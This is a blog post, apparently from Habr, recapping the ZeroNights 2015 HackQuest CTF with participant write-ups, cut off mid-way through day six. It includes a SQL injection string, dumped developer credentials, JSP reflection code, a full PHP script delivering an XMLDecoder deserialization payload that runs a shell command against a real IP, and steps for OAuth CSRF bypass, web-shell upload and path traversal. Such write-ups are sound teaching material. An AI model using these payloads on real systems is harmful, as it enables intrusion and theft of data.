{"id":268811,"date":"2015-11-23T18:54:04","date_gmt":"2015-11-23T15:54:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=268811"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=268811","title":{"rendered":"ZeroNights \u2014 \u043f\u0440\u043e \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 hackquest \u0438 \u0433\u0440\u044f\u0434\u0443\u0449\u0438\u0439 Hardware Village"},"content":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/6b7\/1d3\/db8\/6b71d3db8a086658cd9d64609f444de6.jpg\" alt=\"image\"\/><\/p>\n<h1>\u041f\u0440\u0438\u0432\u0435\u0442!<\/h1>\n<p>  \u0414\u043e \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 ZeroNights, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0443\u0436\u0435 \u043d\u0435 \u0440\u0430\u0437 \u043f\u0438\u0441\u0430\u043b\u0438 \u043d\u0430 \u0425\u0430\u0431\u0440\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 \u0434\u043d\u0438!<\/p>\n<p>  \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043d\u0430\u0448\u0438\u0445 \u043f\u043e\u0441\u0442\u043e\u0432 \u0431\u044b\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043f\u0440\u043e <a href=\"http:\/\/habrahabr.ru\/company\/dsec\/blog\/270393\/\">HackQuest<\/a>. \u041e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b \u0438 \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u0445 \u0438 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u0445 \u0440\u0435\u0448\u0430\u043b\u0438. \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u2014 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439!<\/p>\n<ul>\n<li>1 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cChocolate Factory\u201d (web) \u2014 cdump \u0438 BlackFan <\/li>\n<li>2 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cHSM V1.0\u201d (web, crypto, hash cracking) \u2014 Abr1k0s<\/li>\n<li>3 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBAZAAR NG\u201d (web) \u2014 AV1ct0r<\/li>\n<li>4 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cILLOGICAL PHOTOGALLERY\u201d (web, oauth) \u2014 Beched<\/li>\n<li>5 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cCRACKME\u201d (reverse) \u2014 sysenter <\/li>\n<li>6 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBANK ROBBERY\u201d, (phreaking, web) \u2014 dr.glukyne<\/li>\n<li>7 \u0434\u0435\u043d\u044c, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u201cBLINK2PWN\u201d, (reverse, binary pwn) \u2014 mr_dawerty<\/li>\n<\/ul>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h2>\u0414\u0435\u043d\u044c 1 \u2014 Chocolate Factory<\/h2>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 JSP \u043a\u043e\u0434\u0430 (\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043e\u0431\u043e\u0448\u043b\u043e\u0441\u044c \u0431\u0435\u0437 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0442\u0430\u0441\u043a\u0430 \u0442\u043e\u043c\u043a\u0430\u0442 \u043d\u0435 \u043e\u0431\u043d\u0443\u043b\u0438\u043b \u043a\u044d\u0448 (\u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0438\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f) \u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0447\u0435\u0440\u0435\u0437 RCE \ud83d\ude42 \u041c\u044b \u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u044d\u0442\u043e \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0438 \u043e\u043d\u043e \u0437\u0430\u043d\u044f\u043b\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u043e \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c\u0438<\/p>\n<p>  \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0442 cdump  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<blockquote><p>\u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0437\u0430\u043a\u0430\u0437\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0444\u043e\u0440\u043c\u044b \u0432 Burp \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u043e\u043b\u0435 orderName \u043d\u0430 anything.jsp, \u0430 \u0432 \u043f\u043e\u043b\u0435 order \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0435\u043a\u0441\u0442 \u043b\u044e\u0431\u043e\u0433\u043e jsp-\u0448\u0435\u043b\u043b\u0430.<br \/>  \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0448\u0435\u043b\u043b (\u0441\u0441\u044b\u043b\u043a\u0430 \u00abYou can check your order here\u00bb) \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c tomcat&#8217;\u043e\u0432\u0441\u043a\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e webapps, \u0432 \u043d\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u043c jsp \u0444\u0430\u0439\u043b\u044b \u0438 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b, \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b jad \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 (WEB-INF\/classes\/ZN_Chocolate\/CRYPTO\/SecretGrandParentForBigBossesNeeds.class) \u0432\u0438\u0434\u0438\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u043a\u043b\u044e\u0447: private String TrueSecretChocolateKey() { return \u00abZNV:iMp0518UrU_53cR3T_k3y_50d11dcb46506e93917f82c0e828b1a9\u00bb; }<\/p><\/blockquote>\n<p>  <\/div>\n<\/div>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0442\u0430\u0441\u043a \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0438 \u0432\u043e\u0442 \u0443\u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 (\u0432\u0440\u0430\u0439\u0442\u0430\u043f \u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u2014 Beched)  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<blockquote><p><i>Input<\/i><\/p>\n<p>  Site with file upload functionality.<br \/>  At first it was easily solved by uploading JSP-shell in XML format, bypassing white-list. After that all participants were given the source code.<br \/>  Task again could solved in a \u00abcheating\u00bb way, by reading the source code, but I solved it in an intended way.<\/p>\n<p>  <i>Output<\/i><\/p>\n<p>  Open the classes in JD-GUI: <a href=\"http:\/\/i.imgur.com\/7YX1Xlk.png\">screenshot<\/a>.<\/p>\n<p>  We can see the source code of JSP checker, which parses page imports. There&#8217;re a lot of ways to bypass this silly checker, but we&#8217;ll try to get flag without reading the file system. Initially the flag was in SecretGrandParentForBigBossesNeeds.class:  <\/p>\n<pre><code class=\"java\">public class SecretGrandParentForBigBossesNeeds {   private String TrueSecretChocolateKey()   {     return &quot;ZNV:3X@mPl3_k3y_a0a81ab87f74d307b8e51fd85048e714&quot;;   } <\/code><\/pre>\n<p>  On the screenshot on the left you can see a long chain of inherited classes, this clearly tells us, that we should somehow use reflection. If we try to import SecretGrandParentForBigBossesNeeds, we fail, let&#8217;s try to import Secret.  <\/p>\n<pre><code class=\"java\">&lt;%@ page import=&quot;java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret&quot; %&gt; &lt;% Secret s = new Secret(); out.println(s.TrueSecretChocolateKey()); %&gt; <\/code><\/pre>\n<p>  Hm, error 500\u2026 In the stack trace we can read, that \u00abmethod TrueSecretChocolateKey of class SadBigBoss is not visible\u00bb.<br \/>  Aha! They changed name of the class after fixing the source code. But anyway, method is not visible, it&#8217;s private. Let&#8217;s use reflection to make it accessible:<\/p>\n<pre><code class=\"java\">&lt;%@ page import=&quot;java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret&quot; %&gt; &lt;% SadBigBoss s = new SadBigBoss(); Method method = s.getClass().getDeclaredMethod(&quot;TrueSecretChocolateKey&quot;); method.setAccessible(true); out.println(method.invoke(s)); %&gt; <\/code><\/pre>\n<p>  That&#8217;s it, flag is on the page =) <\/p><\/blockquote>\n<p>  <\/div>\n<\/div>\n<h2>\u0414\u0435\u043d\u044c 2 \u2014 HSM V1.0<\/h2>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u0445\u0430\u043a-\u043a\u0432\u0435\u0441\u0442\u0430 \u2014 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u0440\u0443\u0442\u0438\u0442\u044c \u0445\u044d\u0448\u0438, \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043d\u044b\u0435, \u0438\u0441\u043a\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432 \u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445. \u0412\u0440\u0430\u0439\u0442\u0430\u043f\u0430 \u043f\u043e\u043a\u0430 \u0435\u0449\u0435 \u043d\u0435\u0442, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u2014 \u0442\u0430\u043a \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044e \u0435\u0433\u043e \u0441\u044e\u0434\u0430.<\/p>\n<h2>\u0414\u0435\u043d\u044c 3 \u2014 BAZAAR NG<\/h2>\n<p>  \u042d\u0442\u043e \u0431\u044b\u043b \u0442\u0430\u0441\u043a-\u0441\u043f\u0440\u0438\u043d\u0442, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u0437 \u0441\u0435\u0431\u044f \u00ab\u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0440\u044b\u043d\u043e\u043a\u00bb (\u043e\u0442\u0441\u044e\u0434\u0430 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435). \u0412 \u043d\u0451\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 Java-\u0448\u0442\u0443\u043a\u0438: jsp \u0438 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b, Hibernate, API \u043d\u0430 Restlet.<br \/>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u043e \u0438\u0437 \u0442\u0440\u0451\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e: execution after redirect, HQL injection (\u0430\u043d\u0430\u043b\u043e\u0433 SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Hibernate) \u0438 RCE \u0447\u0435\u0440\u0435\u0437 XML \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432 Restlet.<br \/>  \u041d\u043e \u0442\u0430\u043a \u0436\u0435 \u0431\u044b\u043b\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043c\u0435\u043b\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0431\u0440\u0443\u0442\u0430 \u0443\u0447\u0451\u0442\u043e\u043a, XSS&#8217;\u043a\u0438, \u0438 \u0442.\u0434.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u00ab\u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c\u00bb \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 (\u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0430\u0434\u043c\u0438\u043d\u0430) \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f.<\/p>\n<p>  \u041e\u0447\u0435\u043d\u044c \u043a\u0440\u0430\u0442\u043a\u043e \u0438 \u043f\u043e \u0434\u0435\u043b\u0443 \u043e\u0442 AV1ct0r:<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<blockquote><p>1. \u041d\u0430\u0448\u0435\u043b admin.jsp, search.jsp, index.jsp, admin_login.jsp, adminochka.jsp, adminochka.jsp.bak<br \/>  2. \u0421\u0431\u0440\u0443\u0442\u0438\u043b test \/ test (\u0432\u0438\u0434\u043d\u043e \u043a\u0442\u043e-\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b)<\/p>\n<p>  3. \u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044f<br \/>  potato&#8217; AND &#8216;1\\&#187;=1 union select 1,(select user()),3 \u2014 &#8216;=&#8217;1%<\/p>\n<p>  host: zn-java<br \/>  version: 5.5.46-0ubuntu0.14.04.2<br \/>  user: webappuser@localhost<\/p>\n<pre><code>wepapp.developers --------------------------------------- | id | username        | password     | --------------------------------------- | 0  | developer_Vasia | fpBA7BPlS8wJ | | 1  | developer_Jorik | 5FftW6Aua2ef |  ---------------------------------------  wepapp.goods ------------------------- | id | name     | price | ------------------------- | 0  | potato   | 40    | | 1  | apple    | 100   | | 2  | carrot   | 25    | | 3  | tomato   | 120   | | 4  | pear     | 70    | | 5  | tomato   | 110   | | 12 | pear     | 80    | | 13 | cucumber | 80    | -------------------------  wepapp.users ---------------------------- | id | username | password | ---------------------------- <\/code><\/pre>\n<p>  \u2026<\/p>\n<p>  4. \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043b \u043a\u043b\u0438\u0435\u043d\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a<br \/>  5. RCE \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e xml (solve.php)<\/p>\n<p>  <b>solve.php<\/b>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;?php  $x =&lt;&lt;&lt;HTML &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;java version=&quot;1.8.0_05&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;  \t&lt;object id=&quot;_response&quot; class=&quot;java.lang.String&quot;&gt; \t\t&lt;string&gt;Mode 1 to get a value&lt;\/string&gt; \t&lt;\/object&gt;  \t&lt;object id=&quot;runtime&quot; class=&quot;java.lang.Runtime&quot; method=&quot;getRuntime&quot;&gt;\t \t\t&lt;void id=&quot;process&quot; method=&quot;exec&quot;&gt; \t\t\t&lt;string&gt;cat webapps\/flag.txt&lt;\/string&gt; \t\t&lt;\/void&gt; \t\t \t&lt;\/object&gt;\t \t \t&lt;object idref=&quot;process&quot;&gt; \t\t&lt;void id=&quot;inputStream&quot; method=&quot;getInputStream&quot;\/&gt; \t&lt;\/object&gt; \t \t&lt;object id=&quot;inputStreamReader&quot; class=&quot;java.io.InputStreamReader&quot;&gt; \t\t&lt;object idref=&quot;inputStream&quot;\/&gt; \t&lt;\/object&gt;  \t&lt;object id=&quot;bufferedReader&quot; class=&quot;java.io.BufferedReader&quot;&gt; \t\t&lt;object idref=&quot;inputStreamReader&quot;\/&gt; \t&lt;\/object&gt; \t \t&lt;object idref=&quot;bufferedReader&quot;&gt; \t\t&lt;void id=&quot;line1&quot; method=&quot;readLine&quot;\/&gt; \t&lt;\/object&gt; \t&lt;object idref=&quot;bufferedReader&quot;&gt; \t\t&lt;void id=&quot;line2&quot; method=&quot;readLine&quot;\/&gt; \t&lt;\/object&gt;  \t&lt;string  id=&quot;response&quot;&gt; \t\t&lt;object idref=&quot;line1&quot;\/&gt;\t\t \t\t&lt;object idref=&quot;line2&quot;\/&gt;\t \t&lt;\/string&gt;  \t&lt;object class=&quot;org.restlet.Response&quot; method=&quot;getCurrent&quot;&gt;\t \t\t&lt;void method =&quot;setEntity&quot;&gt; \t\t\t&lt;object idref = &quot;response&quot;\/&gt; \t\t\t&lt;object class = &quot;org.restlet.data.MediaType&quot; field=&quot;TEXT_HTML&quot;&gt;&lt;\/object&gt; \t\t&lt;\/void&gt; \t&lt;\/object&gt;\t  &lt;\/java&gt; HTML;     do { $socket = fsockopen(&quot;107.170.122.167&quot;, 80); } while (!$socket);  $packet = &quot;POST \/ZN_HQ\/API\/prods HTTP\/1.0\\r\\n&quot;; $packet.= &quot;Content-Type: application\/x-java-serialized-object+xml\\r\\n&quot;; $packet.= &quot;Host: 107.170.122.167\\n&quot;; $packet.= &quot;Connection: Close\\r\\n&quot;; $packet.= &quot;Content-Length: &quot;.strlen($x).&quot;\\r\\n&quot;; $packet.= &quot;Authorization: Basic ZGV2ZWxvcGVyX1Zhc2lhOmZwQkE3QlBsUzh3Sg==\\r\\n&quot;; $packet.= &quot;\\r\\n&quot;; $packet.= $x;  fwrite($socket, $packet); while(!@feof($socket)) echo fread($socket, 4096); fclose($socket);   ?&gt; <\/code><\/pre>\n<\/div>\n<\/div>\n<\/blockquote>\n<p>  <\/div>\n<\/div>\n<h2>\u0414\u0435\u043d\u044c 4 \u2014 ILLOGICAL PHOTOGALLERY<\/h2>\n<p>  \u0411\u0430\u0433\u0438 \u043f\u0440\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 OAuth (vk), CSRF, zip path traversal \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0449\u0438 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0442\u0438 \u0438 \u0441\u0443\u043c\u0435\u0442\u044c \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c (\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u0438\u0435).<\/p>\n<p>  \u0412\u0440\u0430\u0439\u0442\u0430\u043f \u043e\u0442 Beched  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<blockquote><p><i>Input<\/i><\/p>\n<p>  Site (0x3d.ru) with OAuth (vk.com) functionality.<br \/>  During recon one can find content.0x3d.ru and dev.0x3d.ru (127.0.0.1) subdomains.<\/p>\n<p>  <i>Output<\/i><\/p>\n<p>  There were a lot of unintended bugs, including XSS, SQL injection, RCE, etc\u2026 Some of them are described here.<\/p>\n<p>  1. Authentication bypass (unintended)<br \/>  Log in under your vk account through Burp Suite, take a link with auth token (?code=&#8230;) and navigate to it in the private tab. You&#8217;re now logged in as a privileged user, which can upload files.<\/p>\n<p>  2. Authentication bypass<br \/>  Login under your vk account through Burp Suite, take a link with auth token (?code=&#8230;), now make a page on your website, which loads 2 images (&lt;img src=&#8230;): the first triggers logout CSRF (like \/logout), the second is you auth token link. Now send this link to the privileged user, he (the bot) will navigate it, and his account will be connected to your vk profile. Now you can login as a privileged user.<\/p>\n<p>  3. Race condition (unintended)<br \/>  Privileged user can upload avatar. &quot;*.php&quot; is disallowed, but &quot;.jpg.php&quot; is ok =) Where&#8217;s the shell? Hm, avatars are uploaded to content.0x3d.ru\/avatars, but they are converted into $hash.jpg. Let&#8217;s suppose file is first uploaded in the same dir and converted afterwards.<br \/>  Take BurpSuite, launch 100 threads (GET \/avatars\/beched.jpg.php, Host: content.0x3d.ru) and upload beched.jpg.php. Wow, 200! Shit, plain-text\u2026 They disabled PHP execution in this dir, but anyway, this is dangerous bug.<\/p>\n<p>  4. SQL injection (unintended)<br \/>  There was SQL injection in private messaging interface, you could exploit it using multi-INSERT and guessing fields. There was no file_priv and no flag, but there was a link to PoC auth bypass exploit by the author of task. I found a working copy of the task on that server =)<\/p>\n<p>  5. Code execution (unintended)<br \/>  So, we&#8217;ve got author&#8217;s testing server. Let&#8217;s log in and check SQL injection there. Wow, there&#8217;s file_priv=Y! Read the source code, read configs, no flag =(<br \/>  But there&#8217;s something else in ZIP upload functionality:<\/p>\n<pre><code class=\"php\">elseif(preg_match('\/[.](ZIP)|(zip)|(RAR)|(rar)$\/',$_FILES['fupload']['name'])) {     $avatar = 'avatars\/net-avatara.jpg';         $filename = $_FILES['fupload']['name'];         $source = $_FILES['fupload']['tmp_name'];             $target = $path_to_90_directory . $filename;         move_uploaded_file($source, $target);\/\/\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0430 \u0432 \u043f\u0430\u043f\u043a\u0443 $path_to_90_directory         $command = 'python \/var\/www\/0x3d.ru\/zn1\/avatars\/unzip.py \/var\/www\/0x3d.ru\/zn1\/avatars\/'.$filename;         $temp = exec($command, $output);      }   <\/code><\/pre>\n<p>  So, we can execute code in the filename. But no flag on this test server %)<\/p>\n<p>  6. Code execution<br \/>  Now let&#8217;s do what they want. Let&#8217;s upload shell into the docroot of content.0x3d.ru. We&#8217;ll do it with <a href=\"https:\/\/github.com\/ptoomey3\/evilarc\">github.com\/ptoomey3\/evilarc<\/a><br \/>  Create a ZIP archive with path traversal, it we&#8217;ll be extracted to any directory you want (if it&#8217;s writable). Now we&#8217;ve got PHP-shell on content.0x3d.ru<\/p>\n<p>  7. open_basedir bypass (unintended)<br \/>  Command execution functions are disabled, but we can browse any directory with DirectoryIterator: <a href=\"http:\/\/ahack.ru\/releases\/glob_wrapper_open_basedir_exploit.php.txt\">ahack.ru\/releases\/glob_wrapper_open_basedir_exploit.php.txt<\/a><br \/>  BTW, putenv() and mail() are not disabled, but somehow command execution via library preload and triggering sendmail doesn&#8217;t work %)<\/p>\n<p>  8. Flag<br \/>  Remember dev.0x3d.ru? Let&#8217;s try it from the web-shell:<br \/>  readfile(&#8216;http:\/\/dev.0x3d.ru&#8217;);<\/p><\/blockquote>\n<p>  <\/div>\n<\/div>\n<h2>\u0414\u0435\u043d\u044c 5 \u2014 CRACKME <\/h2>\n<p>  \u041a\u043b\u0430\u0441\u0441\u0438\u043a\u0430. \u041d\u0430\u0434\u043e \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0442\u0438 \u043a\u043b\u044e\u0447 \u043d\u0430 3 \u0440\u0430\u0437\u043d\u044b\u0445 \u044d\u0442\u0430\u043f\u0430\u0445. \u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0430 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0431\u044b\u043b\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435, \u0430 \u0432\u043e\u0442 \u0442\u0440\u0435\u0442\u0438\u0439 \u2014 \u043d\u0435\u0442.<\/p>\n<p>  \u0412\u0440\u0430\u0439\u0442\u0430\u043f \u043e\u0442 sysenter \u2014 <a href=\"http:\/\/hackquest.zeronights.org\/downloads\/2015-day5-writeup_sysenter.pdf\">hackquest.zeronights.org\/downloads\/2015-day5-writeup_sysenter.pdf<\/a><\/p>\n<h2>\u0414\u0435\u043d\u044c 6 \u2014 dr.glukyne<\/h2>\n<p>  \u0417\u0430\u0434\u0430\u0447\u0435\u0439 \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u0442\u044c SIP \u0447\u0435\u0440\u0435\u0437\u2026 SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e.<br \/>  \u0412\u0440\u0430\u0439\u0442\u0430\u043f \u043e\u0442 dr.glukyne   <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 